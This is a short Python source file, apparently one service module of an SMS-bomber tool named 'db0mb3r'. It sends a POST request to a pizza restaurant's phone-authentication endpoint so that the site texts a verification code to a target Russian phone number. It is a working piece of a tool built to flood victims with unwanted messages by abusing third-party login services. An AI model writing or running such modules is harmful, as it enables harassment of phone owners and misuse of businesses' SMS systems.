pomodoro.py 386 B

123456789101112131415
  1. from db0mb3r.services.service import Service
  2. class Pomodoro(Service):
  3. phone_codes = [7]
  4. async def run(self):
  5. await self.post(
  6. "https://butovo.pizzapomodoro.ru/ajax/user/auth.php",
  7. data={
  8. "AUTH_ACTION": "SEND_USER_CODE",
  9. "phone": self.format(self.formatted_phone, "+* (***) ***-**-**"),
  10. },
  11. )